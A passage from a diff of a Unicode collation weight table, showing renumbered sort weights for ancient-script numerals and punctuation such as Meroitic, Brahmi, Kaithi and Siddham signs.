+102F1 ; [*1AC7.0020.0002] # COPTIC EPACT NUMBER EIGHTY +102F2 ; [*1AC8.0020.0002] # COPTIC EPACT NUMBER NINETY +102F3 ; [*1AC9.0020.0002] # COPTIC EPACT NUMBER ONE HUNDRED +102F4 ; [*1ACA.0020.0002] # COPTIC EPACT NUMBER TWO HUNDRED +102F5 ; [*1ACB.0020.0002] # COPTIC EPACT NUMBER THREE HUNDRED +102F6 ; [*1ACC.0020.0002] # COPTIC EPACT NUMBER FOUR HUNDRED +102F7 ; [*1ACD.0020.0002] # COPTIC EPACT NUMBER FIVE HUNDRED +102F8 ; [*1ACE.0020.0002] # COPTIC EPACT NUMBER SIX HUNDRED +102F9 ; [*1ACF.0020.0002] # COPTIC EPACT NUMBER SEVEN HUNDRED +102FA ; [*1AD0.0020.0002] # COPTIC EPACT NUMBER EIGHT HUNDRED +102FB ; [*1AD1.0020.0002] # COPTIC EPACT NUMBER NINE HUNDRED +10322 ; [*1A69.0020.0002] # OLD ITALIC NUMERAL TEN +10323 ; [*1A6A.0020.0002] # OLD ITALIC NUMERAL FIFTY +1039F ; [*02F6.0020.0002] # UGARITIC WORD DIVIDER +103D0 ; [*02F7.0020.0002] # OLD PERSIAN WORD DIVIDER +103D3 ; [*1AD2.0020.0002] # OLD PERSIAN NUMBER TEN +103D4 ; [*1AD3.0020.0002] # OLD PERSIAN NUMBER TWENTY +103D5 ; [*1AD4.0020.0002] # OLD PERSIAN NUMBER HUNDRED +1056F ; [*041B.0020.0002] # CAUCASIAN ALBANIAN CITATION MARK +10857 ; [*02D2.0020.0002] # IMPERIAL ARAMAIC SECTION SIGN +1085B ; [*1AE4.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN +1085C ; [*1AE5.0020.0002] # IMPERIAL ARAMAIC NUMBER TWENTY +1085D ; [*1AE6.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE HUNDRED +1085E ; [*1AE7.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE THOUSAND +1085F ; [*1AE8.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN THOUSAND +10877 ; [*0FA9.0020.0002] # PALMYRENE LEFT-POINTING FLEURON +10878 ; [*0FAA.0020.0002] # PALMYRENE RIGHT-POINTING FLEURON +1087E ; [*1AD5.0020.0002] # PALMYRENE NUMBER TEN +1087F ; [*1AD6.0020.0002] # PALMYRENE NUMBER TWENTY +108AD ; [*1AD7.0020.0002] # NABATAEAN NUMBER TEN +108AE ; [*1AD8.0020.0002] # NABATAEAN NUMBER TWENTY +108AF ; [*1AD9.0020.0002] # NABATAEAN NUMBER ONE HUNDRED +108FD ; [*1ADA.0020.0002] # HATRAN NUMBER TEN +108FE ; [*1ADB.0020.0002] # HATRAN NUMBER TWENTY +108FF ; [*1ADC.0020.0002] # HATRAN NUMBER ONE HUNDRED +10917 ; [*1AE1.0020.0002] # PHOENICIAN NUMBER TEN +10918 ; [*1AE2.0020.0002] # PHOENICIAN NUMBER TWENTY +10919 ; [*1AE3.0020.0002] # PHOENICIAN NUMBER ONE HUNDRED +1091F ; [*02F8.0020.0002] # PHOENICIAN WORD SEPARATOR +1093F ; [*02F2.0020.0002] # LYDIAN TRIANGULAR MARK +109BC ; [*1B59.0020.0002] # MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS +109BD ; [*1B4E.0020.0002] # MEROITIC CURSIVE FRACTION ONE HALF +109C9 ; [*1B23.0020.0002] # MEROITIC CURSIVE NUMBER TEN +109CA ; [*1B24.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY +109CB ; [*1B25.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY +109CC ; [*1B26.0020.0002] # MEROITIC CURSIVE NUMBER FORTY +109CD ; [*1B27.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY +109CE ; [*1B28.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY +109CF ; [*1B29.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY +109D2 ; [*1B2A.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED +109D3 ; [*1B2B.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED +109D4 ; [*1B2C.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED +109D5 ; [*1B2D.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED +109D6 ; [*1B2E.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED +109D7 ; [*1B2F.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED +109D8 ; [*1B30.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED +109D9 ; [*1B31.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED +109DA ; [*1B32.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED +109DB ; [*1B33.0020.0002] # MEROITIC CURSIVE NUMBER ONE THOUSAND +109DC ; [*1B34.0020.0002] # MEROITIC CURSIVE NUMBER TWO THOUSAND +109DD ; [*1B35.0020.0002] # MEROITIC CURSIVE NUMBER THREE THOUSAND +109DE ; [*1B36.0020.0002] # MEROITIC CURSIVE NUMBER FOUR THOUSAND +109DF ; [*1B37.0020.0002] # MEROITIC CURSIVE NUMBER FIVE THOUSAND +109E0 ; [*1B38.0020.0002] # MEROITIC CURSIVE NUMBER SIX THOUSAND +109E1 ; [*1B39.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN THOUSAND +109E2 ; [*1B3A.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT THOUSAND +109E3 ; [*1B3B.0020.0002] # MEROITIC CURSIVE NUMBER NINE THOUSAND +109E4 ; [*1B3C.0020.0002] # MEROITIC CURSIVE NUMBER TEN THOUSAND +109E5 ; [*1B3D.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY THOUSAND +109E6 ; [*1B3E.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY THOUSAND +109E7 ; [*1B3F.0020.0002] # MEROITIC CURSIVE NUMBER FORTY THOUSAND +109E8 ; [*1B40.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY THOUSAND +109E9 ; [*1B41.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY THOUSAND +109EA ; [*1B42.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY THOUSAND +109EB ; [*1B43.0020.0002] # MEROITIC CURSIVE NUMBER EIGHTY THOUSAND +109EC ; [*1B44.0020.0002] # MEROITIC CURSIVE NUMBER NINETY THOUSAND +109ED ; [*1B45.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED THOUSAND +109EE ; [*1B46.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED THOUSAND +109EF ; [*1B47.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED THOUSAND +109F0 ; [*1B48.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED THOUSAND +109F1 ; [*1B49.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED THOUSAND +109F2 ; [*1B4A.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED THOUSAND +109F3 ; [*1B4B.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED THOUSAND +109F4 ; [*1B4C.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED THOUSAND +109F5 ; [*1B4D.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED THOUSAND +109F6 ; [*1B4F.0020.0002] # MEROITIC CURSIVE FRACTION ONE TWELFTH +109F7 ; [*1B50.0020.0002] # MEROITIC CURSIVE FRACTION TWO TWELFTHS +109F8 ; [*1B51.0020.0002] # MEROITIC CURSIVE FRACTION THREE TWELFTHS +109F9 ; [*1B52.0020.0002] # MEROITIC CURSIVE FRACTION FOUR TWELFTHS +109FA ; [*1B53.0020.0002] # MEROITIC CURSIVE FRACTION FIVE TWELFTHS +109FB ; [*1B54.0020.0002] # MEROITIC CURSIVE FRACTION SIX TWELFTHS +109FC ; [*1B55.0020.0002] # MEROITIC CURSIVE FRACTION SEVEN TWELFTHS +109FD ; [*1B56.0020.0002] # MEROITIC CURSIVE FRACTION EIGHT TWELFTHS +109FE ; [*1B57.0020.0002] # MEROITIC CURSIVE FRACTION NINE TWELFTHS +109FF ; [*1B58.0020.0002] # MEROITIC CURSIVE FRACTION TEN TWELFTHS +10A44 ; [*1B04.0020.0002] # KHAROSHTHI NUMBER TEN +10A45 ; [*1B05.0020.0002] # KHAROSHTHI NUMBER TWENTY +10A46 ; [*1B06.0020.0002] # KHAROSHTHI NUMBER ONE HUNDRED +10A47 ; [*1B07.0020.0002] # KHAROSHTHI NUMBER ONE THOUSAND +10A50 ; [*0421.0020.0002] # KHAROSHTHI PUNCTUATION DOT +10A51 ; [*0422.0020.0002] # KHAROSHTHI PUNCTUATION SMALL CIRCLE +10A52 ; [*0423.0020.0002] # KHAROSHTHI PUNCTUATION CIRCLE +10A53 ; [*0424.0020.0002] # KHAROSHTHI PUNCTUATION CRESCENT BAR +10A54 ; [*0425.0020.0002] # KHAROSHTHI PUNCTUATION MANGALAM +10A55 ; [*0426.0020.0002] # KHAROSHTHI PUNCTUATION LOTUS +10A56 ; [*02A7.0020.0002] # KHAROSHTHI PUNCTUATION DANDA +10A57 ; [*02A8.0020.0002] # KHAROSHTHI PUNCTUATION DOUBLE DANDA +10A58 ; [*0427.0020.0002] # KHAROSHTHI PUNCTUATION LINES +10A7E ; [*1ADD.0020.0002] # OLD SOUTH ARABIAN NUMBER FIFTY +10A7F ; [*1ADE.0020.0002] # OLD SOUTH ARABIAN NUMERIC INDICATOR +10A9E ; [*1ADF.0020.0002] # OLD NORTH ARABIAN NUMBER TEN +10A9F ; [*1AE0.0020.0002] # OLD NORTH ARABIAN NUMBER TWENTY +10AED ; [*1AE9.0020.0002] # MANICHAEAN NUMBER TEN +10AEE ; [*1AEA.0020.0002] # MANICHAEAN NUMBER TWENTY +10AEF ; [*1AEB.0020.0002] # MANICHAEAN NUMBER ONE HUNDRED +10AF0 ; [*0429.0020.0002] # MANICHAEAN PUNCTUATION STAR +10AF1 ; [*042A.0020.0002] # MANICHAEAN PUNCTUATION FLEURON +10AF2 ; [*042B.0020.0002] # MANICHAEAN PUNCTUATION DOUBLE DOT WITHIN DOT +10AF3 ; [*042C.0020.0002] # MANICHAEAN PUNCTUATION DOT WITHIN DOT +10AF4 ; [*042D.0020.0002] # MANICHAEAN PUNCTUATION DOT +10AF5 ; [*042E.0020.0002] # MANICHAEAN PUNCTUATION TWO DOTS +10AF6 ; [*042F.0020.0002] # MANICHAEAN PUNCTUATION LINE FILLER +10B39 ; [*0428.0020.0002] # AVESTAN ABBREVIATION MARK +10B3A ; [*02D3.0020.0002] # TINY TWO DOTS OVER ONE DOT PUNCTUATION +10B3B ; [*02D4.0020.0002] # SMALL TWO DOTS OVER ONE DOT PUNCTUATION +10B3C ; [*02D5.0020.0002] # LARGE TWO DOTS OVER ONE DOT PUNCTUATION +10B3D ; [*02D6.0020.0002] # LARGE ONE DOT OVER TWO DOTS PUNCTUATION +10B3E ; [*02D7.0020.0002] # LARGE TWO RINGS OVER ONE RING PUNCTUATION +10B3F ; [*02D8.0020.0002] # LARGE ONE RING OVER TWO RINGS PUNCTUATION +10B5C ; [*1AEC.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TEN +10B5D ; [*1AED.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWENTY +10B5E ; [*1AEE.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE HUNDRED +10B5F ; [*1AEF.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND +10B7C ; [*1AF0.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TEN +10B7D ; [*1AF1.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWENTY +10B7E ; [*1AF2.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE HUNDRED +10B7F ; [*1AF3.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND +10B99 ; [*0430.0020.0002] # PSALTER PAHLAVI SECTION MARK +10B9A ; [*0431.0020.0002] # PSALTER PAHLAVI TURNED SECTION MARK +10B9B ; [*0432.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH CROSS +10B9C ; [*0433.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH DOT +10BAD ; [*1AF4.0020.0002] # PSALTER PAHLAVI NUMBER TEN +10BAE ; [*1AF5.0020.0002] # PSALTER PAHLAVI NUMBER TWENTY +10BAF ; [*1AF6.0020.0002] # PSALTER PAHLAVI NUMBER ONE HUNDRED +10CFC ; [*1A6B.0020.0002] # OLD HUNGARIAN NUMBER TEN +10CFD ; [*1A6C.0020.0002] # OLD HUNGARIAN NUMBER FIFTY +10CFE ; [*1A6D.0020.0002] # OLD HUNGARIAN NUMBER ONE HUNDRED +10CFF ; [*1A6E.0020.0002] # OLD HUNGARIAN NUMBER ONE THOUSAND +10E69 ; [*1A52.0020.0002] # RUMI NUMBER TEN +10E6A ; [*1A53.0020.0002] # RUMI NUMBER TWENTY +10E6B ; [*1A54.0020.0002] # RUMI NUMBER THIRTY +10E6C ; [*1A55.0020.0002] # RUMI NUMBER FORTY +10E6D ; [*1A56.0020.0002] # RUMI NUMBER FIFTY +10E6E ; [*1A57.0020.0002] # RUMI NUMBER SIXTY +10E6F ; [*1A58.0020.0002] # RUMI NUMBER SEVENTY +10E70 ; [*1A59.0020.0002] # RUMI NUMBER EIGHTY +10E71 ; [*1A5A.0020.0002] # RUMI NUMBER NINETY +10E72 ; [*1A5B.0020.0002] # RUMI NUMBER ONE HUNDRED +10E73 ; [*1A5C.0020.0002] # RUMI NUMBER TWO HUNDRED +10E74 ; [*1A5D.0020.0002] # RUMI NUMBER THREE HUNDRED +10E75 ; [*1A5E.0020.0002] # RUMI NUMBER FOUR HUNDRED +10E76 ; [*1A5F.0020.0002] # RUMI NUMBER FIVE HUNDRED +10E77 ; [*1A60.0020.0002] # RUMI NUMBER SIX HUNDRED +10E78 ; [*1A61.0020.0002] # RUMI NUMBER SEVEN HUNDRED +10E79 ; [*1A62.0020.0002] # RUMI NUMBER EIGHT HUNDRED +10E7A ; [*1A63.0020.0002] # RUMI NUMBER NINE HUNDRED +10E7B ; [*1A64.0020.0002] # RUMI FRACTION ONE HALF +10E7C ; [*1A65.0020.0002] # RUMI FRACTION ONE QUARTER +10E7D ; [*1A66.0020.0002] # RUMI FRACTION ONE THIRD +10E7E ; [*1A67.0020.0002] # RUMI FRACTION TWO THIRDS +11047 ; [*02A9.0020.0002] # BRAHMI DANDA +11048 ; [*02AA.0020.0002] # BRAHMI DOUBLE DANDA +11049 ; [*041C.0020.0002] # BRAHMI PUNCTUATION DOT +1104A ; [*041D.0020.0002] # BRAHMI PUNCTUATION DOUBLE DOT +1104B ; [*041E.0020.0002] # BRAHMI PUNCTUATION LINE +1104C ; [*041F.0020.0002] # BRAHMI PUNCTUATION CRESCENT BAR +1104D ; [*0420.0020.0002] # BRAHMI PUNCTUATION LOTUS +1105B ; [*1AF9.0020.0002] # BRAHMI NUMBER TEN +1105C ; [*1AFA.0020.0002] # BRAHMI NUMBER TWENTY +1105D ; [*1AFB.0020.0002] # BRAHMI NUMBER THIRTY +1105E ; [*1AFC.0020.0002] # BRAHMI NUMBER FORTY +1105F ; [*1AFD.0020.0002] # BRAHMI NUMBER FIFTY +11060 ; [*1AFE.0020.0002] # BRAHMI NUMBER SIXTY +11061 ; [*1AFF.0020.0002] # BRAHMI NUMBER SEVENTY +11062 ; [*1B00.0020.0002] # BRAHMI NUMBER EIGHTY +11063 ; [*1B01.0020.0002] # BRAHMI NUMBER NINETY +11064 ; [*1B02.0020.0002] # BRAHMI NUMBER ONE HUNDRED +11065 ; [*1B03.0020.0002] # BRAHMI NUMBER ONE THOUSAND +110BB ; [*0434.0020.0002] # KAITHI ABBREVIATION SIGN +110BC ; [*0435.0020.0002] # KAITHI ENUMERATION SIGN 110BD ; [.0000.0000.0000] # KAITHI NUMBER SIGN -110BE ; [*02E0.0020.0002] # KAITHI SECTION MARK -110BF ; [*02E1.0020.0002] # KAITHI DOUBLE SECTION MARK -110C0 ; [*02AE.0020.0002] # KAITHI DANDA -110C1 ; [*02AF.0020.0002] # KAITHI DOUBLE DANDA -11140 ; [*02E2.0020.0002] # CHAKMA SECTION MARK -11141 ; [*02B0.0020.0002] # CHAKMA DANDA -11142 ; [*02B1.0020.0002] # CHAKMA DOUBLE DANDA -11143 ; [*0273.0020.0002] # CHAKMA QUESTION MARK -11174 ; [*0450.0020.0002] # MAHAJANI ABBREVIATION SIGN -11175 ; [*0451.0020.0002] # MAHAJANI SECTION MARK -111C5 ; [*02B2.0020.0002] # SHARADA DANDA -111C6 ; [*02B3.0020.0002] # SHARADA DOUBLE DANDA -111C7 ; [*0453.0020.0002] # SHARADA ABBREVIATION SIGN -111C8 ; [*02E3.0020.0002] # SHARADA SEPARATOR -111C9 ; [*0454.0020.0002] # SHARADA SANDHI MARK -111CD ; [*0452.0020.0002] # SHARADA SUTRA MARK -111DB ; [*0455.0020.0002] # SHARADA SIGN SIDDHAM -111DD ; [*0456.0020.0002] # SHARADA CONTINUATION SIGN -111DE ; [*02E4.0020.0002] # SHARADA SECTION MARK-1 -111DF ; [*02E5.0020.0002] # SHARADA SECTION MARK-2 -111EA ; [*1B8C.0020.0002] # SINHALA ARCHAIC NUMBER TEN -111EB ; [*1B8D.0020.0002] # SINHALA ARCHAIC NUMBER TWENTY -111EC ; [*1B8E.0020.0002] # SINHALA ARCHAIC NUMBER THIRTY -111ED ; [*1B8F.0020.0002] # SINHALA ARCHAIC NUMBER FORTY -111EE ; [*1B90.0020.0002] # SINHALA ARCHAIC NUMBER FIFTY -111EF ; [*1B91.0020.0002] # SINHALA ARCHAIC NUMBER SIXTY -111F0 ; [*1B92.0020.0002] # SINHALA ARCHAIC NUMBER SEVENTY -111F1 ; [*1B93.0020.0002] # SINHALA ARCHAIC NUMBER EIGHTY -111F2 ; [*1B94.0020.0002] # SINHALA ARCHAIC NUMBER NINETY -111F3 ; [*1B95.0020.0002] # SINHALA ARCHAIC NUMBER ONE HUNDRED -111F4 ; [*1B96.0020.0002] # SINHALA ARCHAIC NUMBER ONE THOUSAND -11238 ; [*02B4.0020.0002] # KHOJKI DANDA -11239 ; [*02B5.0020.0002] # KHOJKI DOUBLE DANDA -1123A ; [*0457.0020.0002] # KHOJKI WORD SEPARATOR -1123B ; [*0458.0020.0002] # KHOJKI SECTION MARK -1123C ; [*0459.0020.0002] # KHOJKI DOUBLE SECTION MARK -1123D ; [*045A.0020.0002] # KHOJKI ABBREVIATION SIGN -112A9 ; [*02E6.0020.0002] # MULTANI SECTION MARK +110BE ; [*02D9.0020.0002] # KAITHI SECTION MARK +110BF ; [*02DA.0020.0002] # KAITHI DOUBLE SECTION MARK +110C0 ; [*02AB.0020.0002] # KAITHI DANDA +110C1 ; [*02AC.0020.0002] # KAITHI DOUBLE DANDA +11140 ; [*02DB.0020.0002] # CHAKMA SECTION MARK +11141 ; [*02AD.0020.0002] # CHAKMA DANDA +11142 ; [*02AE.0020.0002] # CHAKMA DOUBLE DANDA +11143 ; [*0271.0020.0002] # CHAKMA QUESTION MARK +11174 ; [*0436.0020.0002] # MAHAJANI ABBREVIATION SIGN +11175 ; [*0437.0020.0002] # MAHAJANI SECTION MARK +111C5 ; [*02AF.0020.0002] # SHARADA DANDA +111C6 ; [*02B0.0020.0002] # SHARADA DOUBLE DANDA +111C7 ; [*0439.0020.0002] # SHARADA ABBREVIATION SIGN +111C8 ; [*02DC.0020.0002] # SHARADA SEPARATOR +111C9 ; [*043A.0020.0002] # SHARADA SANDHI MARK +111CD ; [*0438.0020.0002] # SHARADA SUTRA MARK +111DB ; [*043B.0020.0002] # SHARADA SIGN SIDDHAM +111DD ; [*043C.0020.0002] # SHARADA CONTINUATION SIGN +111DE ; [*02DD.0020.0002] # SHARADA SECTION MARK-1 +111DF ; [*02DE.0020.0002] # SHARADA SECTION MARK-2 +111EA ; [*1B08.0020.0002] # SINHALA ARCHAIC NUMBER TEN +111EB ; [*1B09.0020.0002] # SINHALA ARCHAIC NUMBER TWENTY +111EC ; [*1B0A.0020.0002] # SINHALA ARCHAIC NUMBER THIRTY +111ED ; [*1B0B.0020.0002] # SINHALA ARCHAIC NUMBER FORTY +111EE ; [*1B0C.0020.0002] # SINHALA ARCHAIC NUMBER FIFTY +111EF ; [*1B0D.0020.0002] # SINHALA ARCHAIC NUMBER SIXTY +111F0 ; [*1B0E.0020.0002] # SINHALA ARCHAIC NUMBER SEVENTY +111F1 ; [*1B0F.0020.0002] # SINHALA ARCHAIC NUMBER EIGHTY +111F2 ; [*1B10.0020.0002] # SINHALA ARCHAIC NUMBER NINETY +111F3 ; [*1B11.0020.0002] # SINHALA ARCHAIC NUMBER ONE HUNDRED +111F4 ; [*1B12.0020.0002] # SINHALA ARCHAIC NUMBER ONE THOUSAND +11238 ; [*02B1.0020.0002] # KHOJKI DANDA +11239 ; [*02B2.0020.0002] # KHOJKI DOUBLE DANDA +1123A ; [*043D.0020.0002] # KHOJKI WORD SEPARATOR +1123B ; [*043E.0020.0002] # KHOJKI SECTION MARK +1123C ; [*043F.0020.0002] # KHOJKI DOUBLE SECTION MARK +1123D ; [*0440.0020.0002] # KHOJKI ABBREVIATION SIGN +112A9 ; [*02DF.0020.0002] # MULTANI SECTION MARK 11366 ; [.0000.0000.0000] # COMBINING GRANTHA DIGIT ZERO 11367 ; [.0000.0000.0000] # COMBINING GRANTHA DIGIT ONE 11368 ; [.0000.0000.0000] # COMBINING GRANTHA DIGIT TWO @@ -4617,483 +4582,446 @@ FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER 11372 ; [.0000.0000.0000] # COMBINING GRANTHA LETTER NA 11373 ; [.0000.0000.0000] # COMBINING GRANTHA LETTER VI 11374 ; [.0000.0000.0000] # COMBINING GRANTHA LETTER PA -1144B ; [*02B6.0020.0002] # NEWA DANDA -1144C ; [*02B7.0020.0002] # NEWA DOUBLE DANDA -1144D ; [*045B.0020.0002] # NEWA COMMA -1144E ; [*045C.0020.0002] # NEWA GAP FILLER -1144F ; [*045D.0020.0002] # NEWA ABBREVIATION SIGN -1145B ; [*045E.0020.0002] # NEWA PLACEHOLDER MARK -1145D ; [*045F.0020.0002] # NEWA INSERTION SIGN -114C6 ; [*0460.0020.0002] # TIRHUTA ABBREVIATION SIGN -115C1 ; [*0461.0020.0002] # SIDDHAM SIGN SIDDHAM -115C2 ; [*02B8.0020.0002] # SIDDHAM DANDA -115C3 ; [*02B9.0020.0002] # SIDDHAM DOUBLE DANDA -115C4 ; [*0462.0020.0002] # SIDDHAM SEPARATOR DOT -115C5 ; [*0463.0020.0002] # SIDDHAM SEPARATOR BAR -115C6 ; [*0464.0020.0002] # SIDDHAM REPETITION MARK-1 -115C7 ; [*0465.0020.0002] # SIDDHAM REPETITION MARK-2 -115C8 ; [*0466.0020.0002] # SIDDHAM REPETITION MARK-3 -115C9 ; [*0467.0020.0002] # SIDDHAM END OF TEXT MARK -115CA ; [*0468.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND U-SHAPED ORNAMENTS -115CB ; [*0469.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND DOTTED CRESCENTS -115CC ; [*046A.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED CRESCENTS -115CD ; [*046B.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED DOUBLE CRESCENTS -115CE ; [*046C.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED TRIPLE CRESCENTS -115CF ; [*046D.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING -115D0 ; [*046E.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING WITH RAYS -115D1 ; [*046F.0020.0002] # SIDDHAM SECTION MARK WITH DOUBLE CRESCENTS -115D2 ; [*0470.0020.0002] # SIDDHAM SECTION MARK WITH TRIPLE CRESCENTS -115D3 ; [*0471.0020.0002] # SIDDHAM SECTION MARK WITH QUADRUPLE CRESCENTS -115D4 ; [*0472.0020.0002] # SIDDHAM SECTION MARK WITH SEPTUPLE CRESCENTS -115D5 ; [*0473.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND RAYS -115D6 ; [*0474.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND TWO ENCLOSURES -115D7 ; [*0475.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES -11641 ; [*02BA.0020.0002] # MODI DANDA -11642 ; [*02BB.0020.0002] # MODI DOUBLE DANDA -11643 ; [*0476.0020.0002] # MODI ABBREVIATION SIGN -11660 ; [*03DA.0020.0002] # MONGOLIAN BIRGA WITH ORNAMENT -11661 ; [*03DB.0020.0002] # MONGOLIAN ROTATED BIRGA -11662 ; [*03DC.0020.0002] # MONGOLIAN DOUBLE BIRGA WITH ORNAMENT -11663 ; [*03DD.0020.0002] # MONGOLIAN TRIPLE BIRGA WITH ORNAMENT -11664 ; [*03DE.0020.0002] # MONGOLIAN BIRGA WITH DOUBLE ORNAMENT -11665 ; [*03DF.0020.0002] # MONGOLIAN ROTATED BIRGA WITH ORNAMENT -11666 ; [*03E0.0020.0002] # MONGOLIAN ROTATED BIRGA WITH DOUBLE ORNAMENT -11667 ; [*03E1.0020.0002] # MONGOLIAN INVERTED BIRGA -11668 ; [*03E2.0020.0002] # MONGOLIAN INVERTED BIRGA WITH DOUBLE ORNAMENT -11669 ; [*03E3.0020.0002] # MONGOLIAN SWIRL BIRGA -1166A ; [*03E4.0020.0002] # MONGOLIAN SWIRL BIRGA WITH ORNAMENT -1166B ; [*03E5.0020.0002] # MONGOLIAN SWIRL BIRGA WITH DOUBLE ORNAMENT -1166C ; [*03E6.0020.0002] # MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT -1173A ; [*1B71.0020.0002] # AHOM NUMBER TEN -1173B ; [*1B72.0020.0002] # AHOM NUMBER TWENTY -1173C ; [*02BC.0020.0002] # AHOM SIGN SMALL SECTION -1173D ; [*02BD.0020.0002] # AHOM SIGN SECTION -1173E ; [*02E7.0020.0002] # AHOM SIGN RULAI -1173F ; [*0550.0020.0002] # AHOM SYMBOL VI -118EA ; [*1B97.0020.0002] # WARANG CITI NUMBER TEN -118EB ; [*1B98.0020.0002] # WARANG CITI NUMBER TWENTY -118EC ; [*1B99.0020.0002] # WARANG CITI NUMBER THIRTY -118ED ; [*1B9A.0020.0002] # WARANG CITI NUMBER FORTY -118EE ; [*1B9B.0020.0002] # WARANG CITI NUMBER FIFTY -118EF ; [*1B9C.0020.0002] # WARANG CITI NUMBER SIXTY -118F0 ; [*1B9D.0020.0002] # WARANG CITI NUMBER SEVENTY -118F1 ; [*1B9E.0020.0002] # WARANG CITI NUMBER EIGHTY -118F2 ; [*1B9F.0020.0002] # WARANG CITI NUMBER NINETY -11C41 ; [*02BE.0020.0002] # BHAIKSUKI DANDA -11C42 ; [*02BF.0020.0002] # BHAIKSUKI DOUBLE DANDA -11C43 ; [*043F.0020.0002] # BHAIKSUKI WORD SEPARATOR -11C44 ; [*0440.0020.0002] # BHAIKSUKI GAP FILLER-1 -11C45 ; [*0441.0020.0002] # BHAIKSUKI GAP FILLER-2 -11C63 ; [*1B82.0020.0002] # BHAIKSUKI NUMBER TEN -11C64 ; [*1B83.0020.0002] # BHAIKSUKI NUMBER TWENTY -11C65 ; [*1B84.0020.0002] # BHAIKSUKI NUMBER THIRTY -11C66 ; [*1B85.0020.0002] # BHAIKSUKI NUMBER FORTY -11C67 ; [*1B86.0020.0002] # BHAIKSUKI NUMBER FIFTY -11C68 ; [*1B87.0020.0002] # BHAIKSUKI NUMBER SIXTY -11C69 ; [*1B88.0020.0002] # BHAIKSUKI NUMBER SEVENTY -11C6A ; [*1B89.0020.0002] # BHAIKSUKI NUMBER EIGHTY -11C6B ; [*1B8A.0020.0002] # BHAIKSUKI NUMBER NINETY -11C6C ; [*1B8B.0020.0002] # BHAIKSUKI HUNDREDS UNIT MARK -11C70 ; [*0409.0020.0002] # MARCHEN HEAD MARK -11C71 ; [*040A.0020.0002] # MARCHEN MARK SHAD -12432 ; [*1BDE.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS DISH -12433 ; [*1BDF.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS MIN -1245A ; [*1BE0.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD DISH -1245B ; [*1BE1.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS DISH -1245C ; [*1BE2.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SIXTHS DISH -1245D ; [*1BE3.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD VARIANT FORM A -1245E ; [*1BE4.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS VARIANT FORM A -1245F ; [*1BE5.0020.0002] # CUNEIFORM NUMERIC SIGN ONE EIGHTH ASH -12460 ; [*1BE6.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER ASH -12461 ; [*1BE7.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE SIXTH -12462 ; [*1BE8.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE QUARTER -12463 ; [*1BE9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER GUR -12464 ; [*1BEA.0020.0002] # CUNEIFORM NUMERIC SIGN ONE HALF GUR -12465 ; [*1BEB.0020.0002] # CUNEIFORM NUMERIC 